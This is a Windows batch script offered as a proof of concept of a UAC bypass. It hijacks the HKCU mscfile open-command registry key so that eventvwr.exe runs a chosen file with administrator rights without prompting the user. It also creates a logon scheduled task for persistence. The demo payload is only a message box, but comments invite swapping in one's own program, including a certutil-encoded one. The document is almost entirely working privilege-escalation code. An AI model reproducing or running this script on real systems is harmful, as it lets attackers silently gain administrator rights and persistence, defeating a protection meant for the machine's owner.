regE UAC Bypass

@ECHO off
TITLE g's UAC bypass
::Build number 041821032017TV
::ECHO off
REM This is a proof of concept of an all-batch UAC bypass.
REM e.g. on an administrator account it can elevate in theory any program to
REM administrator permissions without prompting the user with UAC, and executes
REM the target program silently.
REM here, the target program is another .bat written by this one (of which makes a vbs text box appear).
REM you could load a certutil encoded program into this instead if you wanted.



::Create the key structure that eventvwr.exe looks for
REG ADD "HKCU\Software\Classes\mscfile\shell\open\command" /f
::Set where the file we want to have bypass UAC will be
SET "target=C:\Users\public\UACBuster.bat"
::

::Create the batch that will create the startup task to run eventvwr.exe
DEL %target% /f
ECHO SchTasks /delete /tn "Rebooty Call" /f >%target%
ECHO SchTasks /create /tn "Rebooty Call" /tr "C:\Windows\System32\eventvwr.exe" /sc ONLOGON > %target%

::Set eventvwr to run the above file.
REG ADD "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "%target%" /f

::Run eventvwr.exe to create the logon schedualed task.
START eventvwr.exe

::timeout to allow eventvwr to do it's stuff, otherwise have a race condition.
::This wont work on Windows XP, replace with a delay using PING
TIMEOUT 1

::Create the payload file, replacing the file created above. THIS IS THE PART YOU SHOULD SWAP FOR YOUR OWN SCRIPT/PROGRAM!
DEL %target% /f
ECHO ECHO result=MsgBox("IT WORKS! IT WORKS! YAY!" , 0+48, "UACBypassed") ^> test.vbs >> %target%
ECHO ECHO WScript.Echo result>> %target%
ECHO test.vbs>> %target%
ECHO DEL test.vbs>>%target%
ECHO ECHO I EXIST AT TIME %%time%% ^> C:\confirmationFile.txt>> %target%



::start eventvwr and thus the payload file.
START eventvwr.exe